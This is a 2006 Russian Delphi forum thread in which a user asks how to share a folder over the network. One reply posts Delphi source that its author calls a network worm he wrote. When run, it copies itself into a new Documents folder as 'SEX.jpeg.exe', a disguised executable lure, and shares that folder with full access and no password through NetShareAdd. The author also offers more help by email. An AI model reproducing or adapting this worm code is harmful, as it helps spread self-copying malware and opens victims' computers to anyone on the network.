Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Подскажите как открыть доступ к определеной папке? [D7]


Maxim13 ©   (2006-05-21 10:30:00) 

Мастера подскажите как можно с помощью делфи открыть доступ к определеной папке на моем компьютере что б другие пользователи  сети имели доступ к этой папке?


Дмитрий Белькевич   (2006-07-03 04:31:00) [1]

Количество червей выросло на тысячу ;) Модер, прибей ветку! Гадасть уже достала....


Ildar   (2006-07-01 11:57:00) [2]

Они же в виндовс идут.


Maxim13   (2006-05-21 20:47:00) [3]

А можеш мне на мыло кинуть эти две библиотеки? мое мыло maxim-13@mail.ru


Maxim13   (2006-05-21 20:36:00) [4]

Спасибо за ответ!


Замок   (2006-05-21 14:43:00) [5]

Я в одно время писал сетевого червя , который создавал папку в документах и расшаривал её с правами админа.
Работает в WIN 9x и NT (используються две разные библиотеки , для определения оси) под администратором
На подобный вопрос в данном форуме мне отказались давать ответ , поэтому если будут вопросы оставляй на форуме мыло отвечу если смогу.
Вот код :

unit Unit1;

interface

uses
 Windows, Messages, NetApi, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, jpeg, ExtCtrls;

type
 TForm1 = class(TForm)
   Image1: TImage;
   procedure FormCreate(Sender: TObject);
   procedure FormClose(Sender: TObject; var Action: TCloseAction);
 private
 bNT:Boolean;
   fHandleNT, fHandle9x : THandle;
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
ver: TOSVersionInfo;

begin
if directoryexists ('C:\Documents and Settings\All Users\Документы\Porno') = true then
 halt// выход если папка уже существует
 else
createdir ('C:\Documents and Settings\All Users\Документы\Porno');
CopyFile(@(ParamStr(0))[1],@('C:\Documents and Settings\All Users\Документы\Porno' + '\SEX.jpeg.exe')[1],false); //копируем себя под
//именем SEX.jpeg.exe
ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); // определяем тип ОС
// и загружаем соответствующую бибилиотеку
GetVersionEx(Ver);
case Ver.dwPlatformId of
 VER_PLATFORM_WIN32_NT       : bNT := True;
 VER_PLATFORM_WIN32_WINDOWS  : bNT := False;
 VER_PLATFORM_WIN32s         : bNT := False
end;

if bNT then
 fHandleNT := LoadLibrary('NETAPI32.DLL')
else
 fHandle9x := LoadLibrary('SVRAPI.DLL');
 
 end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
 Share9x : TShareInfo502;
ShareNT : TShareInfo2;
wcPath, wcName, wcPass, wcComment: PWideChar;
edSharePath, edNetName, edPass, edComment: AnsiString;
begin
edSharePath := 'C:\Documents and Settings\All Users\Документы\Porno';
edNetName := 'Porno';
edPass := '';
edComment := 'Porno';
if bNT then
 begin //Далее идёт код для NT
   @NetShareAddNT := GetProcAddress(fHandleNT,'NetShareAdd');
   if @NetShareAddNT=nil then
     Exit;

   // Конвертирование строк в Unicode
   GetMem(wcPath, WIDE_LENGTH);
   StringToWideChar(edSharePath, wcPath, WIDE_LENGTH);

   GetMem(wcName, WIDE_LENGTH);
   StringToWideChar(edNetName, wcName, WIDE_LENGTH);

   GetMem(wcPass, WIDE_LENGTH);
   StringToWideChar(edPass, wcPass, WIDE_LENGTH);

   GetMem(wcComment, WIDE_LENGTH);
   StringToWideChar(edComment, wcComment, WIDE_LENGTH);

   // Заполнение структуры
   ShareNT.shi2_path := wcPath;
   ShareNT.shi2_netname := wcName;
   ShareNT.shi2_passwd := wcPass;
   ShareNT.shi2_remark := wcComment;
   ShareNT.shi2_type := STYPE_DISKTREE;
   ShareNT.shi2_remark := '';
   ShareNT.shi2_permissions := ACCESS_ALL;
   ShareNT.shi2_max_uses := DWORD(-1);
   ShareNT.shi2_current_uses := 0;

   // Добавление открытого ресурса
   NetShareAddNT(nil,2,@ShareNT, nil);

   // Освобождение Unicode строк
   FreeMem (wcName);
   FreeMem (wcPath);
   FreeMem (wcPass);
   FreeMem (wcComment);
 end
else
 begin //Код для Windows 9x
  @NetShareAdd := GetProcAddress(fHandle9x,'NetShareAdd');
  if @NetShareAdd=nil then
   exit;

  // Заполнение структуры
  FillChar(Share9x.shi502_netname, SizeOf(Share9x.shi502_netname), #0);
  move(edNetName[1], Share9x.shi502_netname[0], Length(edNetName));
  Share9x.shi502_type := STYPE_DISKTREE;
  Share9x.shi502_flags := ACCESS_ALL;
  FillChar(Share9x.shi502_remark, SizeOf(Share9x.shi502_remark), #0);
  FillChar(Share9x.shi502_path, SizeOf(Share9x.shi502_path), #0);
  Share9x.shi502_path := PAnsiChar(edSharePath);
  FillChar(Share9x.shi502_rw_password, SizeOf(Share9x.shi502_rw_password), #0);
  FillChar(Share9x.shi502_ro_password, SizeOf(Share9x.shi502_ro_password), #0);

  NetShareAdd(nil,50,@Share9x,SizeOf(Share9x));
 end;
end;

end.


Наверх

Титульная страница Поиск, карта сайта Написать письмо